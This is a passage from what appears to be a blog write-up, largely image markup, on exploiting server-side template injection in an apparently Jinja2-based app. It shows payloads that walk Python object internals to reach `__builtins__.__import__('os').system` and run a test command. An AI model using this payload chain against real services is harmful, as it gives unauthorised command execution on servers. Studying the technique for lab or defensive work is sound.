https://substackcdn.com/image/fetch/$s_!ynmP!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F674a57ea-a242-4dd2-944f-0330de64d619.heic 848w, https://substackcdn.com/image/fetch/$s_!ynmP!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F674a57ea-a242-4dd2-944f-0330de64d619.heic 1272w, https://substackcdn.com/image/fetch/$s_!ynmP!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F674a57ea-a242-4dd2-944f-0330de64d619.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><p><code>{{self.__class__.__mro__[1].__subclasses__()}}</code></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!YrjG!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f17e6a-0f40-45c3-9d38-845962cb4c8d.heic" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!YrjG!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f17e6a-0f40-45c3-9d38-845962cb4c8d.heic 424w, https://substackcdn.com/image/fetch/$s_!YrjG!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f17e6a-0f40-45c3-9d38-845962cb4c8d.heic 848w, https://substackcdn.com/image/fetch/$s_!YrjG!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f17e6a-0f40-45c3-9d38-845962cb4c8d.heic 1272w, https://substackcdn.com/image/fetch/$s_!YrjG!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f17e6a-0f40-45c3-9d38-845962cb4c8d.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!YrjG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f17e6a-0f40-45c3-9d38-845962cb4c8d.heic" width="1456" height="709" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/52f17e6a-0f40-45c3-9d38-845962cb4c8d.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:709,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:623840,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!YrjG!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f17e6a-0f40-45c3-9d38-845962cb4c8d.heic 424w, https://substackcdn.com/image/fetch/$s_!YrjG!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f17e6a-0f40-45c3-9d38-845962cb4c8d.heic 848w, https://substackcdn.com/image/fetch/$s_!YrjG!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f17e6a-0f40-45c3-9d38-845962cb4c8d.heic 1272w, https://substackcdn.com/image/fetch/$s_!YrjG!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F52f17e6a-0f40-45c3-9d38-845962cb4c8d.heic 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>But the <strong>object</strong> class has no <strong>subprocess</strong> classes at all...</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!O9kH!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a847457-e5b2-4592-9099-ea401099bbc5.heic" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!O9kH!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a847457-e5b2-4592-9099-ea401099bbc5.heic 424w, https://substackcdn.com/image/fetch/$s_!O9kH!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a847457-e5b2-4592-9099-ea401099bbc5.heic 848w, https://substackcdn.com/image/fetch/$s_!O9kH!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a847457-e5b2-4592-9099-ea401099bbc5.heic 1272w, https://substackcdn.com/image/fetch/$s_!O9kH!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a847457-e5b2-4592-9099-ea401099bbc5.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!O9kH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a847457-e5b2-4592-9099-ea401099bbc5.heic" width="1456" height="735" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9a847457-e5b2-4592-9099-ea401099bbc5.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:735,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:130223,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!O9kH!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a847457-e5b2-4592-9099-ea401099bbc5.heic 424w, https://substackcdn.com/image/fetch/$s_!O9kH!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a847457-e5b2-4592-9099-ea401099bbc5.heic 848w, https://substackcdn.com/image/fetch/$s_!O9kH!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a847457-e5b2-4592-9099-ea401099bbc5.heic 1272w, https://substackcdn.com/image/fetch/$s_!O9kH!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a847457-e5b2-4592-9099-ea401099bbc5.heic 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>There are no <strong>os</strong> and <strong>subprocess</strong> hence I could not execute any commands..., but there are still other ways!</p><p><code>{{self.__init__.__globals__}}</code><br><em><strong>__globals__</strong></em> is a dictionary that holds global variables. In here we need to look for <code>__import__</code> which can import python modules such as <code>os</code> and <code>subprocess</code>...</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!kHFA!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F050cc0d9-a69f-49b3-857a-8169c4558e71.heic" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!kHFA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F050cc0d9-a69f-49b3-857a-8169c4558e71.heic 424w, https://substackcdn.com/image/fetch/$s_!kHFA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F050cc0d9-a69f-49b3-857a-8169c4558e71.heic 848w, https://substackcdn.com/image/fetch/$s_!kHFA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F050cc0d9-a69f-49b3-857a-8169c4558e71.heic 1272w, https://substackcdn.com/image/fetch/$s_!kHFA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F050cc0d9-a69f-49b3-857a-8169c4558e71.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!kHFA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F050cc0d9-a69f-49b3-857a-8169c4558e71.heic" width="829" height="295" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/050cc0d9-a69f-49b3-857a-8169c4558e71.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:295,&quot;width&quot;:829,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:78550,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!kHFA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F050cc0d9-a69f-49b3-857a-8169c4558e71.heic 424w, https://substackcdn.com/image/fetch/$s_!kHFA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F050cc0d9-a69f-49b3-857a-8169c4558e71.heic 848w, https://substackcdn.com/image/fetch/$s_!kHFA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F050cc0d9-a69f-49b3-857a-8169c4558e71.heic 1272w, https://substackcdn.com/image/fetch/$s_!kHFA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F050cc0d9-a69f-49b3-857a-8169c4558e71.heic 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image buttonBase-GK1x3M"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg" class="icon-noB79L"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image buttonBase-GK1x3M"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2 icon-noB79L"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>We can test it with <code>os</code> module <code>system</code> method which can be used to execute command.<br>But unfortunately it seems this is not correct.<br><code>{{self.__init__.__globals__.__import__('os').system("/usr/bin/touch /tmp/test.txt")}}</code></p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!wCg7!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20a52e15-619a-4c80-9b59-5fa40764646a.heic 424w, https://substackcdn.com/image/fetch/$s_!wCg7!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20a52e15-619a-4c80-9b59-5fa40764646a.heic 848w, https://substackcdn.com/image/fetch/$s_!wCg7!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20a52e15-619a-4c80-9b59-5fa40764646a.heic 1272w, https://substackcdn.com/image/fetch/$s_!wCg7!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20a52e15-619a-4c80-9b59-5fa40764646a.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!wCg7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20a52e15-619a-4c80-9b59-5fa40764646a.heic" width="1278" height="187" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/20a52e15-619a-4c80-9b59-5fa40764646a.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:187,&quot;width&quot;:1278,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:24630,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!wCg7!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20a52e15-619a-4c80-9b59-5fa40764646a.heic 424w, https://substackcdn.com/image/fetch/$s_!wCg7!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20a52e15-619a-4c80-9b59-5fa40764646a.heic 848w, https://substackcdn.com/image/fetch/$s_!wCg7!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20a52e15-619a-4c80-9b59-5fa40764646a.heic 1272w, https://substackcdn.com/image/fetch/$s_!wCg7!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F20a52e15-619a-4c80-9b59-5fa40764646a.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><p>I cannot access the <code>__import__</code> just like the above but we can do it like this:<br><code>{{self.__init__.__globals__.__builtins__.__import__('os').system("/usr/bin/touch /tmp/test.txt")}}</code><br><code>__builtins__</code> is a special module that contains all python built in functions, which <code>__import__</code> is a built in function.</p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!OulA!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa22556b5-57c6-479c-b1a8-17586aa974a3.heic 424w, https://substackcdn.com/image/fetch/$s_!OulA!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa22556b5-57c6-479c-b1a8-17586aa974a3.heic 848w, https://substackcdn.com/image/fetch/$s_!OulA!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa22556b5-57c6-479c-b1a8-17586aa974a3.heic 1272w, https://substackcdn.com/image/fetch/$s_!OulA!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa22556b5-57c6-479c-b1a8-17586aa974a3.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!OulA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa22556b5-57c6-479c-b1a8-17586aa974a3.heic" width="1456" height="222" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/a22556b5-57c6-479c-b1a8-17586aa974a3.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:222,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:128200,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!OulA!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa22556b5-57c6-479c-b1a8-17586aa974a3.heic 424w, https://substackcdn.com/image/fetch/$s_!OulA!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa22556b5-57c6-479c-b1a8-17586aa974a3.heic 848w, https://substackcdn.com/image/fetch/$s_!OulA!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa22556b5-57c6-479c-b1a8-17586aa974a3.heic 1272w, https://substackcdn.com/image/fetch/$s_!OulA!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fa22556b5-57c6-479c-b1a8-17586aa974a3.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><p>When I do not see <strong>Internal Server Error</strong> it is most likely successful.</p><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!aH_H!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F903c27fa-f684-4a38-bcc3-0ba0c362c688.heic 424w, https://substackcdn.com/image/fetch/$s_!aH_H!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F903c27fa-f684-4a38-bcc3-0ba0c362c688.heic 848w, https://substackcdn.com/image/fetch/$s_!aH_H!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F903c27fa-f684-4a38-bcc3-0ba0c362c688.heic 1272w, https://substackcdn.com/image/fetch/$s_!aH_H!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F903c27fa-f684-4a38-bcc3-0ba0c362c688.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!aH_H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F903c27fa-f684-4a38-bcc3-0ba0c362c688.heic" width="1095" height="124" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/903c27fa-f684-4a38-bcc3-0ba0c362c688.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:124,&quot;width&quot;:1095,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:11798,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!aH_H!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F903c27fa-f684-4a38-bcc3-0ba0c362c688.heic 424w, https://substackcdn.com/image/fetch/$s_!aH_H!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F903c27fa-f684-4a38-bcc3-0ba0c362c688.heic 848w, https://substackcdn.com/image/fetch/$s_!aH_H!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F903c27fa-f684-4a38-bcc3-0ba0c362c688.heic 1272w, https://substackcdn.com/image/fetch/$s_!aH_H!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F903c27fa-f684-4a38-bcc3-0ba0c362c688.heic 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></div></figure></div><div class="captioned-image-container"><figure><div class="image-link image2" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!V6Ho!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb07a856-1d82-4d69-8f2a-6ad9158177ca.heic 424w, https://substackcdn.com/image/fetch/$s_!V6Ho!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb07a856-1d82-4d69-8f2a-6ad9158177ca.heic 848w, https://substackcdn.com/image/fetch/$s_!V6Ho!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb07a856-1d82-4d69-8f2a-6ad9158177ca.heic 1272w, https://substackcdn.com/image/fetch/$s_!V6Ho!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb07a856-1d82-4d69-8f2a-6ad9158177ca.heic 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!V6Ho!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb07a856-1d82-4d69-8f2a-6ad9158177ca.heic" width="612" height="117" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/bb07a856-1d82-4d69-8f2a-6ad9158177ca.heic&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:117,&quot;width&quot;:612,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:10983,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/heic&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:null,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!V6Ho!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fbb07a856-1d82-4d69-8f2a-6ad9158177ca.heic 424w, 